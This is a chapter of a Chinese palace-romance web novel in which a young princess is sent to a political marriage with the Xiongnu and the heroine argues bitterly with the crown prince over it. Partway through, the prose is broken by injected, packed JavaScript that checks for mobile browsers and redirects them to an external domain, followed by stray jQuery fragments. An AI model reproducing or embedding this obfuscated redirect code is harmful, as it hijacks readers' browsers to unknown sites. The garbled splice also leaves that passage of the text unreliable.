70. 70

作品:《拒嫁东宫

    圣人的亲孙女儿消失不见,宫人们恐怕要找翻天了。


    谢柔徽抱起她向外走去,“我得赶紧把你送回去。”


    元凌真抓住谢柔徽的衣领,扭来扭去:“不要,不要。”


    谢柔徽站住,“你不见了,到时候哥哥姐姐肯定担心坏了。”


    元凌真瘪了瘪嘴,不说话了。


    谢柔徽抱着她走出绿萼楼,元凌真靠在她肩上,目光中满是依依不舍。


    走过小径,踏过石桥,转到那边曾经来过的柳树林。


    谢柔徽放慢脚步,凝神看去。


    当时柳絮飘飘,光影明媚,溪水潺潺,浮动着粼粼波光。


    如今换了一番景致。


    只余一地枯枝败叶,和厚厚的白雪。


    谢柔徽从回忆中抽身而去,向着重华殿走去。


    她本想着把元凌真交给侍女就走,可元凌妙却命人请她入内一叙。


    谢柔徽犹豫片刻,随着侍女进去了。


    殿内熏着甜香,气味浓重,元凌妙坐在镜前正在梳妆打扮。


    元凌真见到姐姐,立刻跑过去,想要扑进元凌妙的怀里,却被侍女拦下。


    “县主,公主殿下正在梳妆。”


    元凌妙转眸,淡淡地道:“让她过来吧。”


    元凌真小心翼翼地摸着元凌妙的衣袖,“姐姐,漂亮。”


    元凌妙摸了摸她的脸蛋,温柔一笑:“姐姐还有事要忙,让宫人们陪你玩好不好。”


    她说着,示意宫人将元凌真抱走。


    元凌真一走,元凌妙的脸色瞬间冷下来:“都是怎么服侍县主的,连人偷跑出去都不知道。”


    宫人们哗啦跪了一地,独谢柔徽站在原地。


    元凌真神色稍稍缓和,道:“都退下吧,我有话要和谢娘子单独说。”


    宫人们顺从地退下,元凌真站起身,走到谢柔徽的面前。


    这个时候,谢柔徽才有一种实感:原来她只有七八岁。


    个头比她矮好多。


    元凌妙也意识到这个问题,她笑道:“我们坐下说话。”


    她的语气温和,少了从前高高在上的感觉。


    从前脸上不施粉黛,一股孩子的稚气。


    可如今看来,却突兀地成熟不少。


    元凌妙笑道:“谢姊姊,我可以这样叫你吗?”


    谢柔徽点头。


    元凌妙笑道:“倘若您有余力,能否多多照拂真儿,为她择一门好亲事。”


    她这话叫人摸不着头脑,谢柔徽闻言一惊,心中有了猜测。


    “你……你要和亲?!”


    元凌妙眼中含泪,点了点头。


    她一句话也没有说,却仿佛心都碎了。


    谢柔徽不敢置信地道:“怎么能让你去和亲呢?”


    元凌妙才六七岁的年纪,根本没有到嫁人的年纪,更何况是出塞和亲。


    匈奴人茹毛饮血,不曾开化。历代公主远嫁,不过几年,都是香消玉殒的下场。


    元凌妙苦涩地道:“匈奴人执意要求娶嫡亲公主。”


    若说嫡亲公主,华宁公主当仁不让。


    可华宁公主早早出家为道,不可婚嫁,自然不必和亲。


    而元氏皇族子嗣稀少,宗室女中,又只有她是罪人之女,无父母可依。


    倘若耶耶阿娘尚在……


    思及此处,元凌妙心中愈发悲戚,眼眶里的泪却倔强地不肯落下。


    谢柔徽低声道:“公主的交代,我一定办到。”


    元凌妙垂眸,悲伤地道:“我只求真儿一生顺遂,平安无虞,不必如我一般远离故土。”


    谢柔徽张口欲言,却被侍女打断:“殿下,典礼要开始了。”


    “走吧。”


    元凌真起身,没有再看谢柔徽。


    ……


    “你去见了崇安?”


    元曜站在窗前,转过头问道。


    谢柔徽一愣,过了一会才想起这是元凌妙的封号。


    ——崇安公主。


    不待谢柔徽回答,元曜淡淡道:“离她远点。”


    谢柔徽又是一愣,不明白元曜怎么能如此理直气壮,去命令她。


    谢柔徽冷声道:“关你什么事!”


    元曜皱眉道:“你别胡闹。”


    谢柔徽冷冷地道:“你凭什么说是胡闹。”


    “我是为你着想。”元曜道,“她父亲罪大恶极,她若是被人唆使,难免惹出是非。”


    谢柔徽直视元曜:“所以把她送出去和亲吗?”


    元曜不解,不明白谢柔徽突然问到这个。


    “是吗?”谢柔徽又问了一遍。


    元曜蹙眉道:“圣人之命,不容置喙。”


    谢柔徽冷哼一声,语带嘲讽:“遣妾一身安社稷,不知何处用将军。边关数十年的和平,非在兵戈之下,而是靠一个小娘子,岂不是叫天下英雄耻笑!”


    元曜目光冰冷,“你在哪里听来这些。”


    谢柔徽道:“我有眼睛有耳朵,会去听,会去看,没人告诉我,全是我自己的心里话。”


    谢柔徽语气铿锵有力:“所以就要牺牲弱者,去换取摇摇欲碎的和平?”


    “难道你真的相信匈奴人会不再来犯吗?”


    元曜的眼眸乌黑,静静地注视,叫人从心底泛起一种寒意。


    谢柔徽却毫不畏惧,迎着他的目光,安之若素。


    元曜垂眸,平静道:“如今海内凋敝,再起战事,劳民伤财,应当与民休息,囤积兵力,日后徐徐图之。”


    他的语气没有一丝起伏,仿佛是在陈述一个事实。


    谢柔徽愤怒地出奇:“难道这一切都要用一个小女孩唤来吗?她才六岁!”


    谢柔徽脸上气得发红,心里却一片冰凉。


    三十万边塞将士,却抵不过一个六岁稚龄的女娘子……


    真是可笑。


    元曜上前一步,俯身至谢柔徽面前道,一字一句地道:“她既然投身皇家,锦衣玉食,自然也该为大燕子民献身。”


    话语落下,殿内死一般的寂静。


    谢柔徽仰头,目光在元曜的脸上一寸寸地描摹。


    他深邃的眉骨,锐利的剑眉,以及……那双深情不已的凤眼。


    谢柔徽从前很喜欢他的眼睛。


    在温柔的注视下,她连自己都忘了。


    他温润如玉,神清骨秀,举手投足的矜贵之气,都让谢柔徽爱极。


    然而,时日推移,谢柔徽恍然发觉,这好像只是她臆想出来的形象。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346635|173414||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    站在她面前的人,没有一刻,比现在更陌生。


    良久,谢柔徽开口问了三个字:


    “那你呢?”


    ……


    自从那日在兴庆宫一番对话,谢柔徽就再也没见过元曜。


    这日用过晚膳,谢柔徽坐在桌案前,点着烛光看书。


    她看得入迷,聚精会神,竟然连身后多了个人也不知道。


    “看什么这么认真?”


    姬飞衡从她背后凑过来,好奇问道。


    她这徒儿一向不喜欢读书,一年不见,怎么突然移了性情。


    谢柔徽吓了一跳,见是师父,嗔道:“师父你怎么都不出声,吓我一跳。”


    姬飞衡一笑,盘腿坐下。


    她的轻功即便是习武之人也发觉不了,更何况谢柔徽武功尽失。


    “怎么在看史书?”


    谢柔徽把头靠在师父肩头,脸上浮现疲倦:“我想看看历代和亲公主的结局。”


    姬飞衡瞬间明了:“你在想崇安公主和亲之事?”


    谢柔徽点头,问道:“大燕建国已百年,兵强马壮,钱粮充足,何必再与匈奴议和,挥师北上,封狼居胥,才是上策。”


    见谢柔徽如此说,姬飞衡道:“大燕士兵多少,粮仓屯粮供百姓几年使用,匈奴疆域你可明晰了?”


    谢柔徽怔然,道:“这些都是朝堂机密,我不知道。”


    姬飞衡摸摸谢柔徽的脸颊,笑道:“我年轻时,曾经在匈奴草原迷路三日,滴水未进,多亏了一队匈奴骑兵。”


    说到这里,她看向谢柔徽,谢柔徽接口道:“那些匈奴人救了师父?”


    她的语气犹豫,实在不相信野蛮凶恶的匈奴人会对中原人施以援手。


    姬飞衡嗤笑:“不,我杀了他们。抢走了他们的干粮、水,才能够走出匈奴草原。”


    姬飞衡捧住谢柔徽的脸:“傻徒儿,即便是师父,也差点死在匈奴草原。更别说军队了,一旦迷路,不仅仅是断粮而死,还会延误战机。”


    “当年第三次征匈奴,就是由此溃败。”


    谢柔徽眼中涌出眼泪,她当然知道。


    ——当年那支军队的主帅就是她外祖父。


    她的外祖,带着三千骑兵深陷匈奴腹地,未能及时支援,而让匈奴趁势反攻。


    外祖是自刎而死的。


    谢柔徽脸颊流下两行泪,哽咽道:“难道、难道就要一再忍让吗?”


    大燕建国百年,有过五位和亲公主,无一不是客死异乡,下场凄惨。


    可匈奴与大燕却从无和平。


    谢柔徽忍着眼泪,认真地问道:“究竟怎么样,才能够拥有真正的和平。不需要和亲的和平。”


    这话问得姬飞衡无言。


    她能够夜入匈奴营帐,千军万马中来去自如,却不能回答徒儿的问题。


    这世间,恐怕无人能够回答这个问题。


    即便是圣人,也无法回答。


    姬飞衡为她拭泪,“师父不能回答你,这个问题只能够你自己去寻找答案。”


    谢柔徽擦擦眼泪,勉强道:“师父,你找到师叔的下落了吗?”


    姬飞衡摇头。


    谢柔徽小声道:“师父,你听我说,明天……”